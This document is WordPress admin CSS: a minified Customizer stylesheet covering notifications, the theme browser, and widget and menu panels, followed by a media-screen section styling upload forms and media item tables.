.panel-meta>.customize-control-notifications-container:not(.has-overlay-notifications){max-height:210px;overflow-x:hidden;overflow-y:auto}#customize-controls #customize-notifications-area .notice,#customize-controls #customize-notifications-area>ul,#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container .notice{margin:0}#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container{border-top:1px solid #dcdcde}#customize-controls #customize-notifications-area .notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice{padding:9px 14px}#customize-controls #customize-notifications-area .notice.is-dismissible,#customize-controls .customize-section-title>.customize-control-notifications-container .notice.is-dismissible,#customize-controls .panel-meta>.customize-control-notifications-container .notice.is-dismissible{padding-right:38px}#customize-controls #customize-notifications-area .notice+.notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice+.notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice+.notice{margin-top:1px}@keyframes customize-fade-in{0%{opacity:0}100%{opacity:1}}#customize-controls #customize-notifications-area .notice.notification-overlay,#customize-controls .notice.notification-overlay{margin:0;border-left:0}#customize-controls .customize-control-notifications-container.has-overlay-notifications{animation:customize-fade-in .5s;z-index:30}#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message{clear:both;color:#1d2327;font-size:18px;font-style:normal;margin:0;padding:2em 0;text-align:center;width:100%;display:block;top:50%;position:relative}#customize-control-show_on_front.has-error{margin-bottom:0}#customize-control-show_on_front.has-error .customize-control-notifications-container{margin-top:12px}.accordion-section .dropdown{float:left;display:block;position:relative;cursor:pointer}.accordion-section .dropdown-content{overflow:hidden;float:left;min-width:30px;height:16px;line-height:16px;margin-right:16px;padding:4px 5px;border:2px solid #f0f0f1;-webkit-user-select:none;user-select:none}.customize-control .dropdown-arrow{position:absolute;top:0;bottom:0;right:0;width:20px;background:#f0f0f1}.customize-control .dropdown-arrow:after{content:"\f140";font:normal 20px/1 dashicons;speak:never;display:block;padding:0;text-indent:0;text-align:center;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#2c3338}.customize-control .dropdown-status{color:#2c3338;background:#f0f0f1;display:none;max-width:112px}.customize-control-color .dropdown{margin-right:5px;margin-bottom:5px}.customize-control-color .dropdown .dropdown-content{background-color:#50575e;border:1px solid rgba(0,0,0,.15)}.customize-control-color .dropdown:hover .dropdown-content{border-color:rgba(0,0,0,.25)}.ios .wp-full-overlay{position:relative}.ios #customize-controls .wp-full-overlay-sidebar-content{-webkit-overflow-scrolling:touch}.customize-control .actions .button{margin-top:12px}.customize-control-header .actions,.customize-control-header .uploaded{margin-bottom:18px}.customize-control-header .default button:not(.random),.customize-control-header .uploaded button:not(.random){width:100%;padding:0;margin:0;background:0 0;border:none;color:inherit;cursor:pointer}.customize-control-header button img{display:block}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control .attachment-media-view .upload-button,.customize-control-header button.new,.customize-control-header button.remove{width:auto;height:auto;white-space:normal}.customize-control .attachment-media-view .thumbnail,.customize-control-header .current .container{overflow:hidden}.customize-control .attachment-media-view .button-add-media,.customize-control .attachment-media-view .placeholder,.customize-control-header .placeholder{width:100%;position:relative;text-align:center;cursor:default;border:1px dashed #c3c4c7;box-sizing:border-box;padding:9px 0;line-height:1.6}.customize-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.customize-control .attachment-media-view .button-add-media:hover{background-color:#fff}.customize-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.customize-control-header .inner{display:none;position:absolute;width:100%;color:#50575e;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.customize-control-header .inner,.customize-control-header .inner .dashicons{line-height:20px;top:8px}.customize-control-header .list .inner,.customize-control-header .list .inner .dashicons{top:9px}.customize-control-header .header-view{position:relative;width:100%;margin-bottom:12px}.customize-control-header .header-view:last-child{margin-bottom:0}.customize-control-header .header-view:after{border:0}.customize-control-header .header-view.selected .choice:focus{outline:0}.customize-control-header .header-view.selected:after{content:"";position:absolute;height:auto;top:0;left:0;bottom:0;right:0;border:4px solid #72aee6;border-radius:2px}.customize-control-header .header-view.button.selected{border:0}.customize-control-header .uploaded .header-view .close{font-size:20px;color:#fff;background:#50575e;background:rgba(0,0,0,.5);position:absolute;top:10px;left:-999px;z-index:1;width:26px;height:26px;cursor:pointer}.customize-control-header .header-view .close:focus,.customize-control-header .header-view:hover .close{left:auto;right:10px}.customize-control-header .header-view .close:focus{outline:1px solid #4f94d4}.customize-control-header .random.placeholder{cursor:pointer;border-radius:2px;height:40px}.customize-control-header button.random{width:100%;height:auto;min-height:40px;white-space:normal}.customize-control-header button.random .dice{margin-top:4px}.customize-control-header .header-view:hover>button.random .dice,.customize-control-header .placeholder:hover .dice{animation:dice-color-change 3s infinite}.button-see-me{animation:bounce .7s 1;transform-origin:center bottom}@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-12px,0)}70%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-6px,0)}90%{transform:translate3d(0,-1px,0)}}.customize-control-header .choice{position:relative;display:block;margin-bottom:9px}.customize-control-header .choice:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.customize-control-header .uploaded div:last-child>.choice{margin-bottom:0}.customize-control .attachment-media-view .thumbnail-image img,.customize-control-header img{max-width:100%}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control-header .remove{margin-right:8px}.customize-control-background_position .background-position-control .button-group{display:block}.customize-control-code_editor textarea{width:100%;font-family:Consolas,Monaco,monospace;font-size:12px;padding:6px 8px;tab-size:2}.customize-control-code_editor .CodeMirror,.customize-control-code_editor textarea{height:14em}#customize-controls .customize-section-description-container.section-meta.customize-info{border-bottom:none}#sub-accordion-section-custom_css .customize-control-notifications-container{margin-bottom:15px}#customize-control-custom_css textarea{display:block;height:500px}.customize-section-description-container+#customize-control-custom_css .customize-control-title{margin-left:12px}.customize-section-description-container+#customize-control-custom_css:last-child textarea{border-right:0;border-left:0;height:calc(100vh - 185px);resize:none}.customize-section-description-container+#customize-control-custom_css:last-child{margin-left:-12px;width:299px;width:calc(100% + 24px);margin-bottom:-12px}.customize-section-description-container+#customize-control-custom_css:last-child .CodeMirror{height:calc(100vh - 185px)}.CodeMirror-hints,.CodeMirror-lint-tooltip{z-index:500000!important}.customize-section-description-container+#customize-control-custom_css:last-child .customize-control-notifications-container{margin-left:12px;margin-right:12px}.theme-browser .theme.active .theme-actions,.wp-customizer .theme-browser .theme .theme-actions{padding:9px 15px;box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}@media screen and (max-width:640px){.customize-section-description-container+#customize-control-custom_css:last-child{margin-right:0}.customize-section-description-container+#customize-control-custom_css:last-child textarea{height:calc(100vh - 140px)}}#customize-theme-controls .control-panel-themes{border-bottom:none}#customize-theme-controls .control-panel-themes>.accordion-section-title,#customize-theme-controls .control-panel-themes>.accordion-section-title:hover{cursor:default;background:#fff;color:#50575e;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;border-left:none;border-right:none;margin:0 0 15px;padding-right:100px}#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child,#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover{border-top:0}#customize-theme-controls .control-section-themes>.accordion-section-title,#customize-theme-controls .control-section-themes>.accordion-section-title:hover{margin:0 0 15px}#customize-controls .customize-themes-panel .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title:hover{margin:15px -8px}#customize-controls .control-section-themes .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title{padding-right:100px}#customize-controls .control-section-themes .accordion-section-title span.customize-action,#customize-controls .customize-section-title span.customize-action,.control-panel-themes .accordion-section-title span.customize-action{font-size:13px;display:block;font-weight:400}#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme{position:absolute;right:10px;top:50%;margin-top:-14px;font-weight:400}#customize-notifications-area .notification-message button.switch-to-editor{display:block;margin-top:6px;font-weight:400}#customize-theme-controls .control-panel-themes>.accordion-section-title:after{display:none}.control-panel-themes .customize-themes-full-container{position:fixed;top:0;left:0;transition:.18s left ease-in-out;margin:0 0 0 300px;padding:71px 0 25px;overflow-y:scroll;width:calc(100% - 300px);height:calc(100% - 96px);background:#f0f0f1;z-index:20}@media (prefers-reduced-motion:reduce){.control-panel-themes .customize-themes-full-container{transition:none}}@media screen and (min-width:1670px){.control-panel-themes .customize-themes-full-container{width:82%;right:0;left:initial}}.modal-open .control-panel-themes .customize-themes-full-container{overflow-y:visible}#customize-header-actions .customize-controls-preview-toggle,#customize-header-actions .spinner,#customize-save-button-wrapper{transition:.18s margin ease-in-out}#customize-footer-actions,#customize-footer-actions .collapse-sidebar{bottom:0;transition:.18s bottom ease-in-out}.in-themes-panel:not(.animating) #customize-footer-actions,.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel:not(.animating) #customize-header-actions .spinner,.in-themes-panel:not(.animating) #customize-preview{visibility:hidden}.wp-full-overlay.in-themes-panel{background:#f0f0f1}.in-themes-panel #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel #customize-header-actions .spinner,.in-themes-panel #customize-save-button-wrapper{margin-top:-46px}.in-themes-panel #customize-footer-actions,.in-themes-panel #customize-footer-actions .collapse-sidebar{bottom:-45px}.in-themes-panel.animating .control-panel-themes .filter-themes-count{display:none}.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content{bottom:0}.themes-filter-bar .feature-filter-toggle{float:right;margin:3px 0 3px 25px}.themes-filter-bar .feature-filter-toggle:before{content:"\f111";margin:0 5px 0 0;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .feature-filter-toggle.open{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.themes-filter-bar .feature-filter-toggle .filter-count-filters{display:none}.filter-drawer{box-sizing:border-box;width:100%;position:absolute;top:46px;left:0;padding:25px 0 25px 25px;border-top:0;margin:0;background:#f0f0f1;border-bottom:1px solid #dcdcde}.filter-drawer .filter-group{margin:0 25px 0 0;width:calc((100% - 75px)/ 3);min-width:200px;max-width:320px}@keyframes themes-fade-in{0%{opacity:0}50%{opacity:0}100%{opacity:1}}.control-panel-themes .customize-themes-full-container.animate{animation:.6s themes-fade-in 1}.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count{animation:.6s themes-fade-in 1}.control-panel-themes .filter-themes-count{position:relative;float:right;line-height:2.6}.control-panel-themes .filter-themes-count .themes-displayed{font-weight:600;color:#50575e}.customize-themes-notifications{margin:0}.control-panel-themes .customize-themes-notifications .notice{margin:0 0 25px}.customize-themes-full-container .customize-themes-section{display:none!important;overflow:hidden}.customize-themes-full-container .customize-themes-section.current-section{display:list-item!important}.control-section .customize-section-text-before{padding:0 0 8px 15px;margin:15px 0 0;line-height:16px;border-bottom:1px solid #dcdcde;color:#50575e}.control-panel-themes .customize-themes-section-title{width:100%;background:#fff;box-shadow:none;outline:0;border-top:none;border-bottom:1px solid #dcdcde;border-left:4px solid #fff;border-right:none;cursor:pointer;padding:10px 15px;position:relative;text-align:left;font-size:14px;font-weight:600;color:#50575e;text-shadow:none}.control-panel-themes #accordion-section-installed_themes{border-top:1px solid #dcdcde}.control-panel-themes .theme-section{margin:0;position:relative}.control-panel-themes .customize-themes-section-title:focus,.control-panel-themes .customize-themes-section-title:hover{border-left-color:#2271b1;color:#2271b1;background:#f6f7f7}.customize-themes-section-title:not(.selected):after{content:"";display:block;position:absolute;top:9px;right:15px;width:18px;height:18px;border-radius:100%;border:1px solid #c3c4c7;background:#fff}.control-panel-themes .theme-section .customize-themes-section-title.selected:after{content:"\f147";font:16px/1 dashicons;box-sizing:border-box;width:20px;height:20px;padding:3px 3px 1px 1px;border-radius:100%;position:absolute;top:9px;right:15px;background:#2271b1;color:#fff}.control-panel-themes .customize-themes-section-title.selected{color:#2271b1}#customize-theme-controls .themes.accordion-section-content{position:relative;left:0;padding:0;width:100%}.loading .customize-themes-section .spinner{display:block;visibility:visible;position:relative;clear:both;width:20px;height:20px;left:calc(50% - 10px);float:none;margin-top:50px}.customize-themes-section .no-themes,.customize-themes-section .no-themes-local{display:none}.themes-section-installed_themes .theme .notice-success:not(.updated-message){display:none}.customize-control-theme .theme{width:100%;margin:0;border:1px solid #dcdcde;background:#fff}.customize-control-theme .theme .theme-actions,.customize-control-theme .theme .theme-name{background:#fff;border:none}.customize-control.customize-control-theme{box-sizing:border-box;width:25%;max-width:600px;margin:0 25px 25px 0;padding:0;clear:none}@media screen and (min-width:2101px){.customize-control.customize-control-theme{width:calc((100% - 125px)/ 5 - 1px)}}@media screen and (min-width:1601px) and (max-width:2100px){.customize-control.customize-control-theme{width:calc((100% - 100px)/ 4 - 1px)}}@media screen and (min-width:1201px) and (max-width:1600px){.customize-control.customize-control-theme{width:calc((100% - 75px)/ 3 - 1px)}}@media screen and (min-width:851px) and (max-width:1200px){.customize-control.customize-control-theme{width:calc((100% - 50px)/ 2 - 1px)}}@media screen and (max-width:850px){.customize-control.customize-control-theme{width:100%}}.wp-customizer .theme-browser .themes{padding:0 0 25px 25px;transition:.18s margin-top linear}.wp-customizer .theme-browser .theme .theme-actions{opacity:1}#customize-controls h3.theme-name{font-size:15px}#customize-controls .theme-overlay .theme-name{font-size:32px}.customize-preview-header.themes-filter-bar{position:fixed;top:0;left:300px;width:calc(100% - 300px);height:46px;background:#f0f0f1;z-index:10;padding:6px 25px;box-sizing:border-box;border-bottom:1px solid #dcdcde}@media screen and (min-width:1670px){.customize-preview-header.themes-filter-bar{width:82%;right:0;left:initial}}.themes-filter-bar .themes-filter-container{margin:0;padding:0}.themes-filter-bar .wp-filter-search{line-height:1.8;padding:6px 10px 6px 30px;max-width:100%;width:40%;min-width:300px;position:absolute;top:6px;left:25px;height:32px;margin:1px 0}@media screen and (max-height:540px),screen and (max-width:1018px){.customize-preview-header.themes-filter-bar{position:relative;left:0;width:100%;margin:0 0 25px}.filter-drawer{top:46px}.wp-customizer .theme-browser .themes{padding:0 0 25px 25px;overflow:hidden}.control-panel-themes .customize-themes-full-container{margin-top:0;padding:0;height:100%;width:calc(100% - 300px)}}@media screen and (max-width:1018px){.filter-drawer .filter-group{width:calc((100% - 50px)/ 2)}}@media screen and (max-width:900px){.customize-preview-header.themes-filter-bar{height:86px;padding-top:46px}.themes-filter-bar .wp-filter-search{width:calc(100% - 50px);margin:0;min-width:200px}.filter-drawer{top:86px}.control-panel-themes .filter-themes-count{float:left}}@media screen and (max-width:792px){.filter-drawer .filter-group{width:calc(100% - 25px)}}.control-panel-themes .customize-themes-mobile-back{display:none}@media screen and (max-width:600px){.filter-drawer{top:132px}.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes{display:block;float:right}.control-panel-themes .customize-themes-full-container{width:100%;margin:0;padding-top:46px;height:calc(100% - 46px);z-index:1;display:none}.showing-themes .control-panel-themes .customize-themes-full-container{display:block}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back{display:block;position:fixed;top:0;left:0;background:#f0f0f1;color:#3c434a;border-radius:0;box-shadow:none;border:none;height:46px;width:100%;z-index:10;text-align:left;text-shadow:none;border-bottom:1px solid #dcdcde;border-left:4px solid transparent;margin:0;padding:0;font-size:0;overflow:hidden}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before{left:0;top:0;height:46px;width:26px;display:block;line-height:2.3;padding:0 8px;border-right:1px solid #dcdcde}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus,.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover{color:#2271b1;background:#f6f7f7;border-left-color:#2271b1;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.showing-themes #customize-header-actions{display:none}#customize-controls{width:100%}}.wp-customizer .theme-overlay{display:none}.wp-customizer.modal-open .theme-overlay{position:fixed;left:0;top:0;right:0;bottom:0;z-index:109}.wp-customizer.modal-open #customize-header-actions,.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after,.wp-customizer.modal-open .control-panel-themes .filter-themes-count{z-index:-1}.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-overlay .theme-backdrop{background:rgba(240,240,241,.75);position:fixed;z-index:110}.wp-customizer .theme-overlay .star-rating{float:left;margin-right:8px}.wp-customizer .theme-rating .num-ratings{line-height:20px}.wp-customizer .theme-overlay .theme-wrap{left:90px;right:90px;top:45px;bottom:45px;z-index:120}.wp-customizer .theme-overlay .theme-actions{text-align:right;padding:10px 25px 5px;background:#f0f0f1;border-top:1px solid #dcdcde}.wp-customizer .theme-overlay .theme-actions .theme-install.preview{margin-left:8px}.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-header{background:#f0f0f1}.wp-customizer .theme-overlay .theme-header .close:before,.wp-customizer .theme-overlay .theme-header button{color:#3c434a}.wp-customizer .theme-overlay .theme-header .close:focus,.wp-customizer .theme-overlay .theme-header .close:hover,.wp-customizer .theme-overlay .theme-header .left:focus,.wp-customizer .theme-overlay .theme-header .left:hover,.wp-customizer .theme-overlay .theme-header .right:focus,.wp-customizer .theme-overlay .theme-header .right:hover{background:#fff;border-bottom:4px solid #2271b1;color:#2271b1}.wp-customizer .theme-overlay .theme-header .close:focus:before,.wp-customizer .theme-overlay .theme-header .close:hover:before{color:#2271b1}.wp-customizer .theme-overlay .theme-header button.disabled,.wp-customizer .theme-overlay .theme-header button.disabled:focus,.wp-customizer .theme-overlay .theme-header button.disabled:hover{border-bottom:none;background:0 0;color:#c3c4c7}@media (max-width:850px),(max-height:472px){.wp-customizer .theme-overlay .theme-wrap{left:0;right:0;top:0;bottom:0}.wp-customizer .theme-browser .themes{padding-right:25px}}body.cheatin{font-size:medium;height:auto;background:#fff;border:1px solid #c3c4c7;margin:50px auto 2em;padding:1em 2em;max-width:700px;min-width:0;box-shadow:0 1px 1px rgba(0,0,0,.04)}body.cheatin h1{border-bottom:1px solid #dcdcde;clear:both;color:#50575e;font-size:24px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:30px 0 0;padding:0 0 7px}body.cheatin p{font-size:14px;line-height:1.5;margin:25px 0 20px}#customize-theme-controls .add-new-menu-item,#customize-theme-controls .add-new-widget{cursor:pointer;float:right;margin:0 0 0 10px;transition:all .2s;-webkit-user-select:none;user-select:none;outline:0}.reordering .add-new-menu-item,.reordering .add-new-widget{opacity:.2;pointer-events:none;cursor:not-allowed}#available-menu-items .new-content-item .add-content:before,.add-new-menu-item:before,.add-new-widget:before{content:"\f132";display:inline-block;position:relative;left:-2px;top:0;font:normal 20px/1 dashicons;vertical-align:middle;transition:all .2s;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.reorder-toggle{float:right;padding:5px 8px;text-decoration:none;cursor:pointer;outline:0}.reorder,.reordering .reorder-done{display:block;padding:5px 8px}.reorder-done,.reordering .reorder{display:none}.menu-item-reorder-nav button,.widget-reorder-nav span{position:relative;overflow:hidden;float:left;display:block;width:33px;height:43px;color:#8c8f94;text-indent:-9999px;cursor:pointer;outline:0}.menu-item-reorder-nav button{width:30px;height:40px;background:0 0;border:none;box-shadow:none}.menu-item-reorder-nav button:before,.widget-reorder-nav span:before{display:inline-block;position:absolute;top:0;right:0;width:100%;height:100%;font:normal 20px/43px dashicons;text-align:center;text-indent:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-reorder-nav button:focus,.menu-item-reorder-nav button:hover,.widget-reorder-nav span:focus,.widget-reorder-nav span:hover{color:#1d2327;background:#f0f0f1}.menus-move-down:before,.move-widget-down:before{content:"\f347"}.menus-move-up:before,.move-widget-up:before{content:"\f343"}#customize-theme-controls .first-widget .move-widget-up,#customize-theme-controls .last-widget .move-widget-down,.move-down-disabled .menus-move-down,.move-left-disabled .menus-move-left,.move-right-disabled .menus-move-right,.move-up-disabled .menus-move-up{color:#dcdcde;background-color:#fff;cursor:default;pointer-events:none}.wp-full-overlay-main{right:auto;width:100%}.add-menu-toggle.open,.add-menu-toggle.open:hover,.adding-menu-items .add-new-menu-item,.adding-menu-items .add-new-menu-item:hover,body.adding-widget .add-new-widget,body.adding-widget .add-new-widget:hover{background:#f0f0f1;border-color:#8c8f94;color:#2c3338;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#accordion-section-add_menu .add-new-menu-item.open:before,.adding-menu-items .add-new-menu-item:before,body.adding-widget .add-new-widget:before{transform:rotate(45deg)}#available-menu-items,#available-widgets{position:absolute;top:0;bottom:0;left:-301px;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:300px;margin:0;z-index:4;background:#f0f0f1;transition:left .18s;border-right:1px solid #dcdcde}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{display:none}#available-widgets-list{top:60px;position:absolute;overflow:auto;bottom:0;width:100%;border-top:1px solid #dcdcde}.no-widgets-found #available-widgets-list{border-top:none}#available-widgets-filter{position:fixed;top:0;z-index:1;width:300px;background:#f0f0f1}#available-menu-items-search .accordion-section-title,#available-widgets-filter{padding:13px 15px;box-sizing:border-box}#available-menu-items-search input,#available-widgets-filter input{width:100%;min-height:32px;margin:1px 0;padding:0 30px}#available-menu-items-search input::-ms-clear,#available-widgets-filter input::-ms-clear{display:none}#available-menu-items-search .search-icon,#available-widgets-filter .search-icon{display:block;position:absolute;top:15px;left:16px;width:30px;height:30px;line-height:2.1;text-align:center;color:#646970}#available-menu-items-search .clear-results,#available-widgets-filter .clear-results{position:absolute;top:15px;right:16px;width:30px;height:30px;padding:0;border:0;cursor:pointer;background:0 0;color:#d63638;text-decoration:none;outline:0}#available-menu-items-search .clear-results,#available-menu-items-search.loading .clear-results.is-visible,#available-widgets-filter .clear-results{display:none}#available-menu-items-search .clear-results.is-visible,#available-widgets-filter .clear-results.is-visible{display:block}#available-menu-items-search .clear-results:before,#available-widgets-filter .clear-results:before{content:"\f335";font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-menu-items-search .clear-results:focus,#available-menu-items-search .clear-results:hover,#available-widgets-filter .clear-results:focus,#available-widgets-filter .clear-results:hover{color:#d63638}#available-menu-items-search .clear-results:focus,#available-widgets-filter .clear-results:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}#available-menu-items-search .search-icon:after,#available-widgets-filter .search-icon:after,.themes-filter-bar .search-icon:after{content:"\f179";font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .search-icon{position:absolute;top:7px;left:26px;z-index:1;color:#646970;height:30px;width:30px;line-height:2;text-align:center}.no-widgets-found-message{display:none;margin:0;padding:0 15px;line-height:inherit}.no-widgets-found .no-widgets-found-message{display:block}#available-menu-items .item-top,#available-menu-items .item-top:hover,#available-widgets .widget-top,#available-widgets .widget-top:hover{border:none;background:0 0;box-shadow:none}#available-menu-items .item-tpl,#available-widgets .widget-tpl{position:relative;padding:15px 15px 15px 60px;background:#fff;border-bottom:1px solid #dcdcde;border-left:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;cursor:pointer;display:none}#available-menu-items .item,#available-widgets .widget{position:static}.customize-controls-preview-toggle{display:none}@media only screen and (max-width:782px){.wp-customizer .theme:not(.active):focus .theme-actions,.wp-customizer .theme:not(.active):hover .theme-actions{display:block}.wp-customizer .theme-browser .theme.active .theme-name span{display:inline}.customize-control-header button.random .dice{margin-top:0}.customize-control-checkbox .customize-inside-control-row,.customize-control-nav_menu_auto_add .customize-inside-control-row,.customize-control-radio .customize-inside-control-row{margin-left:32px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-left:-32px}.customize-control input[type=checkbox]+label+br,.customize-control input[type=radio]+label+br{line-height:2.5}.customize-control .date-time-fields select{height:39px}.date-time-fields .date-input.month{width:79px}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:55px}.date-time-fields .date-input.year{width:80px}#customize-control-changeset_preview_link a{bottom:16px}.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button{bottom:10px}.media-widget-control .media-widget-buttons .button.change-media,.media-widget-control .media-widget-buttons .button.edit-media,.media-widget-control .media-widget-buttons .button.select-media{margin-top:12px}.wp-core-ui .themes-filter-bar .feature-filter-toggle{margin:3px 0 3px 25px}}@media screen and (max-width:1200px){.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main{left:67%}}@media screen and (max-width:640px){.wp-full-overlay.collapsed #customize-controls{margin-left:0}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{bottom:0}.customize-controls-preview-toggle{display:block;position:absolute;top:0;left:48px;line-height:2.6;font-size:14px;padding:0 12px 4px;margin:0;height:45px;background:#f0f0f1;border:0;border-right:1px solid #dcdcde;border-top:4px solid #f0f0f1;color:#50575e;cursor:pointer;transition:color .1s ease-in-out,background .1s ease-in-out}#customize-footer-actions,.customize-controls-preview-toggle .controls,.preview-only .customize-controls-preview-toggle .preview,.preview-only .wp-full-overlay-sidebar-content{display:none}.preview-only #customize-save-button-wrapper{margin-top:-46px}.customize-controls-preview-toggle .controls:before,.customize-controls-preview-toggle .preview:before{font:normal 20px/1 dashicons;content:"\f177";position:relative;top:4px;margin-right:6px}.customize-controls-preview-toggle .controls:before{content:"\f540"}.preview-only #customize-controls{height:45px}.preview-only #customize-preview,.preview-only .customize-controls-preview-toggle .controls{display:block}.wp-core-ui.wp-customizer .button{min-height:30px;padding:0 14px;line-height:2;font-size:14px;vertical-align:middle}#customize-control-changeset_status .customize-inside-control-row{padding-top:15px}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{width:100%}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{display:block;margin:0}#available-menu-items .customize-section-back,#available-widgets .customize-section-back{height:69px}#available-menu-items .customize-section-title h3,#available-widgets .customize-section-title h3{font-size:20px;font-weight:200;padding:9px 10px 12px 14px;margin:0;line-height:24px;color:#50575e;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-menu-items .customize-section-title .customize-action,#available-widgets .customize-section-title .customize-action{font-size:13px;display:block;font-weight:400;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-widgets-filter{position:relative;width:100%;height:auto}#available-widgets-list{top:130px}#available-menu-items-search .clear-results,#available-menu-items-search .search-icon{top:85px}.reorder,.reordering .reorder-done{padding:8px}.wp-core-ui .themes-filter-bar .feature-filter-toggle{margin:0}}@media screen and (max-width:600px){.wp-full-overlay.expanded{margin-left:0}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{top:46px;z-index:10}body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content{left:-100%}body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{left:0}}/*! This file is auto-generated */
/*------------------------------------------------------------------------------
  14.0 - Media Screen
------------------------------------------------------------------------------*/

.media-item .describe {
	border-collapse: collapse;
	width: 100%;
	border-top: 1px solid #dcdcde;
	clear: both;
	cursor: default;
}

.media-item.media-blank .describe {
	border: 0;
}

.media-item .describe th {
	vertical-align: top;
	text-align: right;
	padding: 5px 10px 10px;
	width: 140px;
}

.media-item .describe .align th {
	padding-top: 0;
}

.media-item .media-item-info tr {
	background-color: transparent;
}

.media-item .describe td {
	padding: 0 0 8px 8px;
	vertical-align: top;
}

.media-item thead.media-item-info td {
	padding: 4px 10px 0;
}

.media-item .media-item-info .A1B1 {
	padding: 0 10px 0 0;
}

.media-item td.savesend {
	padding-bottom: 15px;
}

.media-item .thumbnail {
	max-height: 128px;
	max-width: 128px;
}

.media-list-subtitle {
	display: block;
}

.media-list-title {
	display: block;
}

#wpbody-content #async-upload-wrap a {
	display: none;
}

.media-upload-form {
	margin-top: 20px;
}

.media-upload-form td label {
	margin-left: 6px;
	margin-right: 2px;
}

.media-upload-form .align .field label {
	display: inline;
	padding: 0 23px 0 0;
	margin: 0 3px 0 1em;
	font-weight: 600;
}

.media-upload-form tr.image-size label {
	margin: 0 5px 0 0;
	font-weight: 600;
}

.media-upload-form th.label label {
	font-weight: 600;
	margin: 0.5em;
	font-size: 13px;
}

.media-upload-form th.label label span {
	padding: 0 5px;
}

.media-item .describe input[type="text"],
.media-item .describe textarea {
	width: 460px;
}

.media-item .describe p.help {
	margin: 0;
	padding: 0 5px 0 0;
}

.describe-toggle-on,
.describe-toggle-off {
	display: block;
	line-height: 2.76923076;
	float: left;
	margin-left: 10px;
}

.media-item-wrapper {
	display: grid;
	grid-template-columns: 1fr 1fr;
}

